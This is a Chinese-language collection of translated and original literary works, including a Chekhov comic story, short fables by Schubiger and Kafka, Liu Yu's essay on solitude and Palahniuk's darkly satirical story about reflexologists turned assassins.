　　“就这么个原因。”康德拉什金眉开眼笑了，“是吗？哎呀，我的宝贝，哪能找一个跟丈夫观点完全一致的妻子呢？咳，年轻人啊，年轻人！幼稚，幼稚！只要一谈起什么观点，真是的，嘿嘿嘿……就激动得了不得……现在你们意见不合，没关系，只要小两口过上一段日子，所有这些疙里疙瘩都会磨平的……新的马路还不好走哩，等来来往往的车辆压一阵子，那就别提多平坦了！”

　　“您这话也在理，可是……我配不上娜斯塔西娅 · 基里洛夫娜……”

　　“般配，般配！不值一提！你是个好青年！”

　　“您还不了解我的种种欠缺……我穷……”

　　“无关紧要！您月月领薪水呢，谢天谢地……”

　　“我……是个酒鬼……”

　　“不不不！我一次也没见您喝醉过！”康德拉什金直摆双手，“年轻人不能不贪杯……我也年轻过，酒喝过了头。在所难免呀……”

　　“可是我酗酒成性。我这毛病是遗传的。”

　　“我不信！这么一个貌若鲜花的小伙子，突然间——酗酒成性！我不信！”

　　“这老鬼，你骗不了他！”米尔金心想，“不过，他可真是一心想把女儿推出去呀！”他便大声说：“除了酗酒成性之外，我还有另外一些毛病。我受贿……”

　　“好孩子，有谁不收受贿赂呢？嘿嘿嘿。瞧他大惊小怪的！”

　　“再说，在我没有得知对我的判决之前，我没有权利结婚……有一件事我一直瞒着您，现在您应当了解全部真相……我……我因为盗用公款在吃官司……”

　　“吃官——司？”康德拉什金惊呆了，“是吗！这可是新闻……我不知道有这宗事。的确，在判决之前你不能结婚……那么您盗用的款项很大吗？”

　　“十四万四千。”

　　“是吗，这可是一笔大数目！没错，这事确实有点西伯利亚的味道……这么一来，我那丫头只能白白断送前程了。既然是这样，那就没话可说了，上帝保佑您吧……”

　　米尔金松了一口气，伸手去拿帽子。

　　“不过嘛，”康德拉什金考虑片刻，继续道，“如果娜斯坚卡真心爱您，那她可以跟您一道去那里。要是她害怕牺牲，那还叫什么爱情？再说托木斯克省很富饶。西伯利亚的生活，老弟，可比这里好。要不是拖家带口的，我早去了。您可以求婚！”

　　“这老鬼顽固不化！”米尔金心想，“只要能脱手，把女儿嫁给魔鬼他也干。”他又大声说：“可是我还没有说完……我吃官司不只因为我盗用公款，我还伪造证据。”

　　“反正一个样！只判一次罪！”

　　“呸！”

　　“您干吗这么大声啐唾沫？”

　　“没什么……您听我说，我还没有向您全部但白……别逼我说出我生活中的隐私……可怕的隐私！”

　　“我才不想知道您的那些隐私！琐琐碎碎，不值一提！”

　　“不是琐琐碎碎，基里尔 · 特罗菲梅奇！您要是听说了……了解到我是什么人，您肯定会跟我绝交……我……我是在逃的苦役犯！！”

　　康德拉什金像被黄蜂蜇了一下，猛地从米尔金跟前跳开，简直吓呆了。足足有一分钟他张口结舌、一动不动地站着，两眼布满恐怖望着米尔金，随后他倒进圈椅里，不住地呻吟。

　　“真没料到……”他嘟哝道，“我用胸口捂暖了谁呀！走！看在上帝份上，你走吧！别让我再见着你！唉呀！”

　　米尔金拿起帽子，得意洋洋地朝门口走去……

　　“慢着！”康德拉什金叫住他，“怎么直到现在还没有逮住你呢？”

　　“如今我改名换姓了……逮住我可不容易……”

　　“您可能一辈子就这么生活，到死也没人发觉您是谁……等一等！要知道您现在是老实人了，您早已悔过了……上帝保佑您，就这样，您结婚吧！”

　　米尔金直冒冷汗……他实在编不出比在逃的苦役犯更吓人的故事，眼前只有一个办法：什么理由也不说，可耻地逃跑……他正准备夺门而去，这时脑子里又闪过一个念头……

　　“请听我说，您还不了解全部情况，”他说，“我……我是疯子，而丧失理智的人和疯子是禁止结婚的……”

　　“我可不信！疯子说话不可能这么有条理……”

　　“您说这话可见您不懂！难道您不知道，许多疯子只在犯病的时候发疯，其余的时间跟正常人没什么两样？”

　　“我不信！您别说了！”

　　“既然这样，我给您弄一份医生证明！”

　　“证明我信，可是您没有……好一个疯子！”

　　“过半小时我就把证明给您拿来……回头见！”

　　米尔金抓起帽子，赶紧跑出去。五分钟后他已经走进他的朋友菲秋耶夫医生家，可是倒霉的是，他正赶上医生在整理自己的发型，因为他刚跟妻子干了一架。

　　“我的朋友，我有件事求你！”他对医生说，“事情是这样的……有人非要我结婚不可，为了摆脱这场灾难，我想出了装疯的主意……从某种意义上讲，这是哈姆雷特方式……你知道，疯子是禁止结婚的……看在朋友面子上，给我开一张疯子证明！”

　　“你不想结婚？”医生问。

　　“绝对不！”

　　“既然这样，那我不能给你开证明，”医生一面抚平自己的头发，一面说，“不想结婚的人绝不是疯子，恰恰相反，倒是最聪明的人……什么时候你想结婚了，你来，我一定给你开证明……只有到那时才说明你确实发疯了……”

　　一八八五年七月三十一日

展示品

于尔克 · 舒比格

　　在斯图加特的一个公园里，来了一位先生，他手里端着一个纸盒，盒子里有一只天竺鼠。他打开盒子，把天竺鼠放到草地上。接着，又把他的帽子放在旁边。看来，这位先生想在天竺鼠吃草的时候，用帽子来收一些零钱。爱看热闹的人们凑过来看这只小动物，他们以为这只小东西会耍些跳竹竿，走钢丝之类的把戏，便纷纷往地上的帽子里投硬币。可是，这天竺鼠只是在草地上爬来爬去地吃草。

　　您的天竺鼠会耍什么把戏？人们问那位先生。

　　他答道：你们看，它会在草地上跑，会吃草。

　　人们继续看着，继续不断地向帽子里扔硬币。

　　一个农夫发现了个中奥妙，他赶快回家，从圈里拉出了他家的老牛。老牛被牵到了公园里， 农夫让它在天竺鼠的边上吃草，并且，也把他的帽子放在了旁边。人们围过来，往他的帽子里扔硬币。

　　这只老牛也许会两只脚走路，大家心里猜测。可是这老牛只是立在那里，吃草。

　　您的牛会什么本领呢？人们问。农夫解释说：正如诸位看到的一样，它会站在这里，吃草。

　　大家又仔细地看了看这老牛，说：一只牛，一只站在这里的牛，不简单。

　　一会儿，来了一个车夫，他要展示他的马。随后，有人把他的摩托车停在了草地上，车边放着一顶帽子。又有个人把睡觉的床抬到了公园，还有个人要把他的随身小刀给人看，甚至有一个居然扛来了一套沙发。所有用来展示的东西边上，都有一顶帽子。

　　当然，如果不付钱，人们照样可以参观这些东西。

　　每一处，都有人在问同样的问题，问这些东西是否与众不同。他们付了钱，也得到了答案。

　　这是一匹马，会吃草的马。

　　这是一辆摩托车，停在草地上的摩托车。

　　这是一张床，放在草地上的床。

　　这是一把小刀，压在报纸上的小刀。

　　这是一套沙发……

　　沙发的主人对围观的人们说：请坐，请坐。

　　人们坐下，彼此赞叹着：一套沙发，嗯，真不简单。

掉到井里的人

卡夫卡

　　我经过路边一口井时，正是傍晚时分。我俯身往里看了一眼，却惊奇地发现里面竟然有一个人！因为下面的光线实在太暗，我无法看清楚他的脸，但凭感觉他应该是一个年轻的小伙子。为了使自己不至于沉下去，那个人几乎整个身子地仰面躺在水面上，他的双手也为了保持身体的平衡而像鱼鳍一样张开。

　　“怎么会这样呢？在这么荒凉的地方居然还会有人，而且还呆在井里？”我这样想。

　　相对于我的惊讶，井里的小伙子却显得相当平静。这一点可以从水面自始至终都保持在一种平静状态、几乎没有什么波动可以看出来。仿佛他早就预料到有人会发现他，并且预料到了我们的惊讶。

　　“你怎么呆在井里呢？”我问道。

　　“我掉到里面的。”他说。

　　“掉到里面的？怎么掉的？”我问道。

　　“就像你这样往里面看，一不小心就掉下来了。”他说。

　　这话使我不由地往后退了一小步，然后才问道：“那你为什么要往里看呢？是想看看有没有水？”

　　“不，”他说，“你以为人会对井里面的水或别的什么东西感兴趣？不，人只要是看见一口井，就会想往里面看——这就是原因。”

　　“那你为什么不呼救呢？”我问道。

　　“那没用的。这个井的井口太小，声音难以传开，就算传开了也是很微弱的。再说，这个地方太荒凉了，很少有人来这种地方，也许传开了也没人听到。”他说。

　　“那你可以自己爬上来啊，我想这并不是完全做不到的——瞧，你那儿离井口这而也不算太高，我相信你能够做到的。来吧，兄弟！”说完我把一只手伸向他，希望也能助他一臂之力。

　　“不，我不上来。”他说。

　　“为什么？”我问道。

　　“你想知道为什么？”他反问我。

　　“对，我想知道。”我把身子稍微移动了一下，以示诚恳。但我却不小心碰到了井口的一块小碎石，碎石掉了下去，刚好落在井里的人的脸上，于是他的脸部泛起了高低起伏的波纹，并且开始向四周扩散。直到波纹漫延到全身，他整个人就像人们通常大笑不止时那样颤抖着……

　　“我明白了，原来你是我的倒影！你一直在瞒着我，你为什么要瞒着我？你……”

　　还没等我说完，我的倒影从水中伸出一只手，把我也拉入井中……

　　当我淹没在他支离破碎的身影中，当我置身于这样一个狭窄的地方，我的心却感到从未有过的平静。

　　这时，刚好有一直鸟从狭窄的井口上方飞过。我希望，它能给我的亲人和朋友捎个口信儿，我将在这里美美地睡上一觉，直到明天有什么东西把我吵醒。

一个人要像一支队伍

刘瑜

　　前两天有个网友给我写信，问我如何克服寂寞。

　　她跟我刚来美国的时候一样，英文不够好，朋友少，一个人等着天亮，一个人等着天黑。“每天学校、家、图书馆、gym、几点一线”。

　　我说我没什么好办法，因为我从来就没有克服过这个问题。这些年来我学会的，就是适应它。适应孤独，就像适应一种残疾。

　　快乐这件事，有很多“不以主观意志为转移”的因素。基因、经历、你恰好碰上的人。但是充实，是可以自力更生的。罗素说他生活的三大动力是对知识的追求、对爱的渴望、对苦难的怜悯。你看，这三项里面，除了第二项，其他两项都是可以自给自足的，都具有耕耘收获的对称性。

　　我的快乐很少，当然我也不痛苦。主要是生活稀薄，事件密度非常低，就说昨天一天我都干了什么吧：

　　10 点，起床，收拾收拾，把看了一大半的关于明史的书看完。

　　下午 1 点，出门，找个 coffee shop,从里面随便买点东西当午饭，然后坐那改一篇论文。期间凝视窗外的纷飞大雪，花半小时创作梨花体诗歌一首。

　　晚上 7 点，回家，动手做了点饭吃，看了一个来小时的电视，回 e-mail 若干。

　　10 点，看了一张 DVD,韩国电影“春夏秋冬春”。

　　12 点，读关于冷战的书两章。

　　凌晨 2 点，跟某同学通电话，上网溜达，准备睡觉。

　　这基本是我典型的一天：一个人。书、电脑、DVD。

　　一个星期平均会去学校听两次讲座。工作日平均会跟朋友吃午饭一次，周末吃晚饭一次。

　　多么稀薄的生活啊，谁跟我接近了都有高原反应。

　　孤独的滋味当然不好受，更糟的是孤独具有一种累加效应。同样重要的东西，你第一分钟举着它和第五个小时举着它，感受当然不同。孤独也是这样，偶尔偷得半日闲自己去看一场电影，和一年、两年、三年、五年只能自己和自己喝啤酒，后果当然完全不同。我以前跟一位曾经因为某政治事件而坐过牢的朋友聊天，他描述那几年被单独关押的生活，这样形容：度日如年，度年如日。说得可真确切。

　　我曾在日记里大言不惭地写道：出于责任感，我承担了全世界的孤独。我的意思是，我不但孤独，而且我的孤独品种繁多、形态各异：在女人堆里太男人，在男人堆里太女人；在学者里面太老粗，在老粗里面太学者；在文青里面太愤青，在愤青里面太文青；在中国人里面太西化，在外国人里面太中国……我觉得上帝把我派到人间，很可能是为了做一个认同紊乱的心理实验。

　　我其实并不孤僻，简直可以说开朗活泼。但大多时候我很懒，懒得经营一个关系。还有一些时候，就是爱自由，觉得任何一种关系都会束缚自己。当然最主要的，还是知音难觅。我老觉得自己跟大多数人交往，总是只能拿出自己的一个维度，很难找到和自己一样兴趣一望无际的人。这句话的谦虚版说法是：很难找到一个像我一样神经错乱的人。

　　有时候也着急。我有有幸生活在“十一届三中全会”之后，没有吃过多少苦，但是在我所经历过的痛苦中，没有什么比孤独更具有破坏力。这不仅仅是因为错过了亲友之间的饭局谈笑温情，不仅仅是因为一个文学女青年对故事、冲突、枝繁叶茂的生活有天然的向往，还因为一个人思想总是需要通过碰撞来保持。长期的孤单中，就像一个圆点脱离了坐标系，有时候你不知道自己思考的问题是否真的成其为问题，你时常看不到自己的想法中那个旁人一眼就可以看出的巨大漏洞，你不知道什么是大，因为不能看到别人的小，你不知道什么是白，因为不能看到别人的黑。总之你会担心，老这样一个人呆着，会不会越来越傻？

　　好像的确是越来越傻。

　　但另一些时候，又惊咤于人的生命力。在这样缺乏沟通、交流、刺激、辩论、玩笑、聊天、绯闻、传闻、小道消息、八卦、MSN……的生活里，没有任何圈子，多年来仅仅凭着自己跟自己对话，我也坚持了思考，保持了表达欲，还能写小说政论论文博客，可见要把一个人意志的皮筋给撑断，也没有那么容易。

　　“忍受的极限会是什么样的结果？”

　　让我告诉你，忍受是没有极限的。

　　年少的时候，我觉得孤单是很酷的一件事情。长大以后，我觉得孤单是很凄凉的一件事。现在，我觉得孤单不是一件事。至少，努力不让它成为一件事。

　　有时候，人所需要的是真正的绝望。

　　真正的绝望跟痛苦、悲伤没有什么关系。它让人心平气和，让你意识到你不能依靠别人，任何人，得到快乐。它让你谦卑，因为所有别人能带给你的，都成了惊喜。它让你只能返回自己的内心。每个人的内心都有不同的自我，他们彼此可以对话。你还可以学习观察微小事物的变化，天气、季节、超市里的蔬菜价格、街上漂亮的小孩，你知道，万事万物都有它值得探究的秘密，只要你真正——我是说真正——打量它。

　　当然还有书、报纸、电影电视、网络、DVD、CD，那里面有他人的生活、关于这个世界的道理、音乐的美、知识的魔术、爱的可能性、令人愤怒的政治家……我们九九八十一生都不可能穷尽这些道理、美、爱、魔术的一个小指甲盖，怎么还能抱怨生活给予我们的太少。

　　绝望不是气馁，它只是“命运的归命运，自己的归自己”这样一种事实求是的态度。

　　就是说，它是自由。

　　以前一个朋友写过一首诗，叫《一个人要像一支队伍》。我想象文革中的顾准、狱中的杨小凯、在文学圈之外写作的王小波，就是这样的人。怀才不遇，逆水行舟，一个人就像一支队伍，对着自己的头脑和心灵招兵买马，不气馁，有召唤，爱自由。

　　我想自己终究是幸运的，不仅仅因为那些外在的所得，而且因为我还挺结实的。总是被打得七零八落，但总还能在上帝他老人家数到“九”之前重新站起来，再看到眼前那个大海时，还是一样兴奋，欢天喜地地跳进去。在辽阔的世界面前，一个人有多谦卑，他就会有多快乐。当罗素说知识、爱、同情心是他生活的动力时，我觉得简直可以和这个风流成性的老不死称兄道弟。

　　因为这种幸运，我原谅自己经受的挫折、孤单、原谅自己的敏感、焦虑和神经质，原谅上帝他老人家让 X 不喜欢我，让我不喜欢 Y，让那么多人长得比我美，或者比我智慧，原谅他让我变老变胖。因为他把世界上最美好的品质给了我：不气馁，有召唤，爱自由。

　　如果你还在为自己孤单寂寞怀才不遇举世皆浊我独醒而深深叹息的话，那么让我告诉你，你买不到那个彩票的，别再把你时间的积蓄两块、两块地花出去，回到你的内心，寻找你自己，与心灵深处的他、他们一起出发去旅行。如果你有足够的好奇心，你可以足不出户而周游世界，身无分文而腰缠万贯。人生若有知己相伴固然妙不可言，但那可遇而不可求，真的，也许既不可遇又不可求，可求的只有你自己，你要俯下身去，朝着幽暗深处的自己伸出手去。

足底按摩

恰克 · 帕拉尼克

　　先别笑，做芳香疗法时，他们警告你千万不要在点着丁香蜡烛和雪松-肉豆蔻蜡烛的同时点上柠檬-肉桂蜡烛。只是他们不告诉你为什么……

　　在风水学里，他们绝不透露秘密，但是只要把床放在错误的方位，你就能集中足够的气来杀人。你可以通过针灸来晚期流产。你可以用水晶或者灵气疗法（译注：Aura，超心理学中通过人的气场和用精神力量进行的疗法）让人患上皮肤癌。

　　先别笑，有些隐秘的方法能把任何新时代运动（译注：NewAge，新时代运动指 1980 年以来兴起的一种开发心灵崇尚精神觉醒的文化思潮与社会现象）有关的东西变成杀人工具。

　　你上周在按摩学校，他们教你绝不要给脚后跟的横向松弛区域按摩。绝不要碰左脚背的弓形区域，还有特别是左边最外侧那块儿。但是他们不会告诉你为何如此。这就是干这行的治疗师在光明中和相对黑暗中的区别所在。

　　你去学校学习反射疗法（译注：Reflexology，反射疗法，用指压和足底按摩缓解精神紧张的疗法）。这是一门通过操纵人的脚来治疗或刺激人体某些部位的学问。它基于的理论是人体可以划分为 10 个不同的能量经络。比如说，你的大拇趾直接对应你的脑袋。要治疗头皮屑，你可以通过按摩大拇趾趾甲背后的一小点区域。要治喉咙痛，你就按摩大拇趾关节的中间。这不是什么医疗保险里会涵盖的健康护理。这就像是做一个没收入的医生。那些想靠按摩脚趾头间的空隙来治好脑癌的人，通常都不会很有钱。先别笑，即使有多年按摩脚掌的经验，你发现自己仍然一贫如洗，而且还在给那些从不把赚钱当成头等大事的人按脚。

　　先别笑，有天你碰见一个曾和你一起上过按摩学校的姑娘。这个姑娘和你差不多年纪。你们曾一起带过念珠链子。你们一起把晒干的鼠尾草编织在一起然后点燃来清理能量场。那时你们两个都穿着扎染的衣服，赤着足，还很年轻，年轻到还觉得给那些来学校参加免费实习治疗的流浪汉按摩臭脚是一件高尚的事。

　　那是很多很多年前了。

　　而你，你现在依旧很穷。你开始掉头发。由于饮食不良或者是重力作用，人们以为你总是皱着眉头，即便你没有。

　　这个曾和你一起培训的姑娘，你看见她从一家市中心的豪华酒店走出来。门卫开着门，她大摇大摆地走出来，身上穿的皮草摆来摆去，脚上的高跟鞋绝不会有哪个足疗师会把她的脚穿进去。

　　当门卫在帮她招的士的时候，你凑上去喊她，“兰缇？”

　　这位女士转过身来，果然是她。真钻项链在她脖子上闪闪发光。一头浓密闪亮的秀发卷起层层红棕色的波浪。她周围的空气闻起来有一种红玫瑰和紫丁香的柔柔香气。她的皮草外套。她的真皮手套，皮质又滑又白，比你自己脸上的肤质还好。她转身把墨镜抬起放在头顶，看着我说，“我认识你吗？”

　　你们曾经一起参加培训班。那时你们还年轻——更年轻。

　　门卫扶着的士的车门。

　　然后这位女士说，她当然记得。她看了看腕表，上面的镶钻在午后阳光中夺目闪亮，说她要在 20 分钟内穿过市区。她问，你能否一起坐车去？

　　你们两个坐上出租车后座，这位女士给了门卫一张 20 美元的钞票。他触了下帽子致意，说总是很高兴见到她光临。

　　这女士告诉的士司机下一个要去的地址，在城郊有点远的一个地方，然后的士发动并入车流。

　　先别笑，这位女士——兰缇，你的老朋友——她把毛皮大衣里的手臂从钱包带子中抽出来，把钱包打开，里面塞满的全是钱。一叠叠的 50 块 100 块大钞。她用带着手套的手在里面挖来挖去，找出来一个手机。

　　她跟你说，“这用不了一分钟。”

　　在她旁边，你的印度风棉布裹裙，你的拖板鞋和铜铃项链不再看起来别致和富有异族风味。你眼眶周围的黑色眼影，和手背上的褪色指甲花图案，都让你看起来像是从来没洗过澡一样。在她的镶钻耳钉旁边，你最喜爱的银耳坠看起来就像便价店里卖的圣诞树挂饰。

　　她在手机里说，“我在路上了。”她说，“我可以做 3 点钟的，但只能做半个小时。”她说再见然后挂断电话。

　　她用软滑的手套摸着你的手，说你看起来不错。她问你最近在忙什么。

　　噢，还是老样子，你告诉她。捏脚。你已经有了一长串名单的熟客。

　　兰缇咬着下唇，看着你，说道，“所以说——你还是个足疗师？”

　　你说，是啊。你不觉得你会有什么理由不干了，毕竟还能靠它赚点钱。

　　的士穿过一整个街区，她一直看着你一言不发。然后她问你下个小时有没有空。她问你有没有兴趣赚些钱，不用上税，为她下一个顾客做一个四手足底按摩。你所有要做的只是按摩一只脚。

　　你从来没和人搭档做过足底按摩，你告诉她。

　　“一个小时，”她说，“我们能拿到两千美金。”

　　你问，这合法吗？

　　她说，“是一人两千。”

　　你问，只是足底按摩？

　　“还有，”她说。“别叫我兰缇。”她说，“我们到那儿的时候，我的名字是安吉丽。”

　　先别笑，这可是真的。足底按摩界的黑暗面。我们当然会了解一些。我们知道按摩大拇趾底部可以让人便秘。按摩脚踝可以让人腹泻。按摩脚后跟内侧可以让人浑身无力或者偏头痛。但是这些都不会让你赚钱，所以何必费事儿呢？

　　的士停在一个雕花石桩旁，是某个中东石油经济体的大使馆。一个穿制服的警卫打开车门，兰缇下车，你也下车。大厅里，另一个警卫用金属探测棒检查你们，看看有没有枪、刀之类的东西。另一个警卫从一张平滑的白石板桌面上拿起座机打了个电话。另一个警卫检查兰缇的提包，把里面的钱推到一边，除了手机什么也没找到。

　　电梯的门开了，另一个警卫示意你们俩进去。兰缇说，“只要跟着我做就行。”她说，“这将是你赚过最好赚的钱。”

　　先别笑，在学校里你就听过传言。关于一个好的足疗师可能被诱惑到黑暗的一面。只是按摩脚底某几个快感中心。做一些人们只敢私下偷偷谈论的事情。那些窃笑的人们所谓的“足底活儿”。

　　电梯门开了，一条长长的走廊只通向一道双扇门。墙是磨光的白石。地板，也是石头的。门是磨砂玻璃的，通向一个房间，里面一个男人坐在一张白色写字台后面。他和兰缇互吻脸颊致意。

　　这个桌子后面的男人，他望着你，但只是对兰缇讲话。他叫她安吉丽。他身后又是一道双扇门，打开是一卧室。这个男的示意你们俩进去，但是他还留在后面，锁上门。他把你们锁在了里面。

　　卧室里，一个男的趴在一张铺着白色丝绸床单的巨大圆床上。他穿着丝织睡衣，面料是闪亮的蓝色绸布，他的光脚从床边伸出来。安吉丽用力扯下一只手套，然后脱下另一只手套，你们在厚厚的地毯上跪下来，各拿起一只脚。

　　你所能看到的不是他的脸，而是他一头梳得油光蹭亮的黑发，他的大耳朵被头发遮着看起来毛绒绒的。他脑袋别的部分都沉进了白色的丝布枕头里。

　　先别笑，那些传言都是真的。按压那些安吉丽按压的地方，按摩脚踵底部对应生殖器的区域，她让这个俯卧在枕头上的男人呻吟起来。你的手还没累，这个男的就吼了起来，全身汗湿，蓝色绸布睡衣糊在背上腿上。当他静下来，当你也说不准他是否还在呼吸的时候，安吉丽低声说是时候走了。

　　桌子后面的男人给了你们一人两千美金，现金。

　　出来外面，一个警卫为安吉丽在街上招了一辆的士。

　　坐上后座，安吉丽递给你一张名片。上面有一家自然疗法（译注：holistic-healing，一种将人的身体和精神视为整体，进行自然的精神上的治疗）诊所的电话。号码下面有手写的字，写着“找莱尼”。

　　她手上的软皮手套，她香水里的玫瑰香味，她说话的声音，这一切都在说，“给我电话。”

　　这些做足底活儿的人有一大堆的理由。你可以让家人过得更好。你可以让你的爸妈过得舒服些有安全感。可能是一辆车。可能是一幢佛罗里达海边的公寓。

　　你把那公寓的钥匙交给家人的那天，是你一生最快乐的一天。那天他们哭着承认，从来没有想过他们的宝贝女儿有朝一日能靠捏别人的臭脚谋生。那是你愿意用余生为之付出的一天。

　　先别笑，这可不是非法的。你只是做一个简简单单的足底按摩。没有发生任何性行为，除了你的顾客享受了一次性高潮，让他们未来几天都腿软走不了路。男或女，都没关系。你只要在他们脚底按对了地方，他们都会像痉挛一样来高潮。过于猛烈以至于让你闻到他们失禁的味道。过于猛烈以至于大多数客人只能看着你，嘴角流着口水，颤颤悠悠地打手势让你拿走梳妆台或是咖啡桌上的那叠百元大钞。

　　莱尼从诊所给你一个电话，然后你就坐上包机飞向伦敦。有客人打电话，于是你又飞到香港。诊所只是莱尼一个人，一个住在汉普顿公园酒店一个套间的带俄国口音的家伙，一个你要给他上缴一半收入的家伙。电话里是莱尼的声音，他告诉你要赶哪班飞机，告诉你哪家酒店或着私人岛屿上有客人在等着。

　　先别笑，缺点就是你永远没有时间购物。钱就这么堆起来。你的制服是毛皮大衣。为了适应这个新世界，你要买上等的黄金和白金珠宝。你要保持一头光洁完美的发型。坐在丽丝卡尔顿酒店的大堂，你可能会看见几个以前和你一起上过足疗学校的小子，现在穿的是阿玛尼套装，香奈儿礼服。一帮曾经只骑自行车上下班的小子，现在你看到他们进出的都是加长豪华轿车。你看见他们在酒店餐厅里的小桌子上独自用餐。在私人飞机场的吧台上喝着鸡尾酒，等着下一班包机。

　　这些以前的理想主义者，现在都经不起诱惑成了专业足疗师。

　　这些曾经的梳着嬉皮士穗辫的大地之母（译注：earthmother，指崇尚自然的生活方式的女权主义者）和留着山羊胡的滑板朋克，现在你听见他们打电话都是给股票经纪卖盘的指令，往海外账户和瑞士银行保险箱藏匿财产，为未加工的钻石和克鲁格金币（译注：Krugerrand，南非金币，多在黄金投资市场流通）讨价还价。

　　以前叫鱼仔和马仔，阿蜴和阿蠔的小伙子，现在都改名叫德克。以前叫毛毛的小姑娘现在都叫多明妮可。

　　从事足疗的人潮汹涌，使得价钱不断下跌。很快，你不再为软件业亿万富翁和石油业阿拉伯酋长服务，而是开始在酒店酒吧里游荡，穿着去年款的普拉达，做 20 美元一次的捏脚。你开始钻到桌子底下给饭店包间里的来开大会的人捏脚。你开始从假的生日蛋糕里面突然冲出来，为一整个橄榄球队或者单身派对的人捏脚，只是为了能还上你父母退休房子的贷款。

　　你的法式漆丝美甲染上治不好的趾甲癣将是迟早的事。

　　你做这一切只是为了给你从莱尼和他的俄罗斯黑帮借的钱偿还利息。钱借来买股票，股价大跌。还是莱尼推荐的股票。或者用来买珠宝和鞋子，莱尼说你需要这些来配合工作。

　　你在汉普顿公园酒店的大堂酒吧里，试图说服一个生意人在男厕做一次 10 块钱的足底按摩。就在那时你见到了她，安吉丽，正穿过大堂，走向电梯。她秀发闪亮。她高跟鞋后皮草大衣在地毯上拖行。安吉丽仍然看起来光鲜亮丽。你注视着她，她用一只戴手套的手示意你过去。

　　电梯来了，她说她要上去莱尼的楼顶套间。那个诊所。

　　她看着你磨损的高跟鞋，你豁了口的指甲，说道，“来见识见识下一个成长中的产业吧……”

　　电梯停在 50 楼，整个顶楼都租给了莱尼，那里有两个穿着细纹套装的肌肉男守着门。就是这些打手，你要把莱尼的那份钱交给他们，所有你赚的钱的一半。一个守卫用别在领子上的麦克风通报了你们的名字，然后门吱的一声打开。

　　现在里面只有你，安吉丽和莱尼。

　　先别笑，与你孤独隔绝的按摩脚底生涯相比，莱尼的生活看起来更糟。关在顶楼，整天穿着毛巾布浴袍，数钱，打电话。唯一的家具是一把办公椅，还污迹斑斑的。一张床垫扔在玻璃墙边，透过玻璃可以俯瞰整个城市。电脑屏幕上，股票价格不停滚动。

　　莱尼走到你们面前，他的浴袍敞开，可以看见里面穿着皱巴巴的条纹四角短裤，脚上的白袜已经泛黄。莱尼两手伸向安吉丽的脸，说道，“我的天使，我的最爱。”他捧着她的脸说，“你近况如何？”

　　安吉丽穿着高跟鞋肯定比莱尼高出一个头。她笑着答到，“莱尼……”

　　然后莱尼狠狠的扇了她一个耳光，他说，“你在骗我，这就是你的近况。”他举起一只手，手张开准备再打她，莱尼说，“你在接外面的活儿，是不是？”

　　安吉丽用戴手套的一只手扶着脸，遮住上面莱尼的手留下的红印，说道，“宝贝，别这样……”

　　莱尼放下手，背过身去。莱尼望向窗外，城市正从他的床垫旁边延伸出去。

　　“宝贝，”安吉丽说。“让我给你展示些新招式。”

　　安吉丽看了我一下。

　　她走过去站在他身旁，从后把手搭在他的肩膀上，安吉丽说道，“让妈咪告诉你，她还是多么爱她的宝贝……”

　　她引莱尼坐到床上，躺下来，把他泛黄的袜子一只一只脱下来。

　　“来吧，宝贝，”她说。脱下手套，她说，“你知道我捏脚的手艺非常好……”

　　接下来安吉丽做的事你以前从未见过。她跪下来，张开嘴，嘴唇撑得又宽又薄，舌头在他的脚底来回游走。安吉丽用嘴罩住莱尼的脚后跟，莱尼呻吟起来。

　　先别笑，有的工作比你想象中最糟的还要糟。一个没有高血压病史的传媒巨头，被发现在四季酒店的房间里死于中风。一个身体健康的摇滚巨星在夏特蒙特酒店接受过足底按摩后死于肾衰竭。

　　我们碰过的脚，来自总统和苏丹，公司总裁和电影明星，国王和王后。我们知道怎样把一次收了钱的谋杀弄得像自然死亡。

　　这些是坐电梯下楼的时候安吉丽告诉你的。莱尼呻吟完崩溃后。安吉丽含着他的脚直到他坐起来，双手抓着胸，张着嘴目瞪口呆地看着她，她还在吮吸着他的脚后跟。他心跳停止之后，安吉丽把被单拉上来盖到他的下巴。把他脚上的口红抹掉，又给自己涂了点口红。她拔掉电话线，然后告诉守卫莱尼要大睡一觉。

　　在大堂的酒吧里，你们两个点了一杯鸡尾酒，她要把嘴里莱尼的脚的味道去掉。这是最后的道别酒。然后安吉丽叫你环顾酒店大堂。那些穿西装的男人，穿毛皮大衣的女人。他们都是些罗夫按摩（译注：Rolfing，一种按摩方法）杀手，她说。灵气按摩杀手。灌肠疗法（译注：Colonic-irrigation，一种把药水灌入结肠清洗肠子的疗法）刺客。

　　安吉丽说，宝石疗法（译注：gemtheropy，一种认为用不同的矿石作用身体不同部位可以达到治疗效果的治疗方法）中只要放一块石英在人的心脏，然后紫水晶在他的肝部，绿松石在他的前额，你就能让他昏迷致死。只要潜入人家，改变卧室家具的摆位，一个风水师父就能引发你的肾病。

　　“艾灸，”她说，一门在人的针灸穴位处燃香治病的学问，“可以杀人。指压按摩也可以。”

　　她喝完最后一口鸡尾酒，脱下脖子上的珍珠项链。

　　所有那些疗法和药品都声称是百分百天然成分，所以百分百安全，安吉丽笑道。她说，氰化物也是天然的。砒霜亦然。

　　她把那串珍珠递给你，说，“从今以后，我又做回‘兰缇’了。”

　　那才是你要记住安吉丽的样子，而不是她隔天登上报纸的样子，穿着湿漉漉的貂皮大衣被人从河里捞出来。她的耳环和钻表都被拿走了，让这看起来像一次抢劫。不是因为脚被爱抚至死，而是那老式的死法，在她后脑勺精致的法式辫上有一个子弹孔。这是对所有可能跳槽的德克和多明妮可的一个警告。

　　诊所打来电话，但不是莱尼，而是另一个俄国口音，想派你去见客人，但是你不再信任他们。警卫看见了你和兰缇一起，上到顶楼。他们肯定也给你的后脑勺准备了另一个子弹孔。

　　你的家人从佛罗里达打来电话，说有辆黑色大车一直跟踪他们，还有人打电话问哪里能找到你。现在，你已经在逃命了，从一家小旅馆换到另一家，偷偷做脚底按摩赚钱为生。

　　你告诉家人：保重。你告诉他们别让不认识的人按摩。通过公共电话，你告诉他们永远别碰什么芳香疗法，灵气疗法，指压按摩。先别笑，你将要出去旅行很长时间，可能是下半辈子。

　　你没法解释。现在，你的两毛五钢蹦儿打完了，所以你得跟家人说再见了。

一个国家，两个世界

余华

　　如果从伦理道德和处世哲学的角度来探讨中国这六十年的社会变迁，那么家庭价值观的衰落和个人主义的兴起可以作为一条历史的分界线，显现出同一个国度里的两个截然不同的世界。

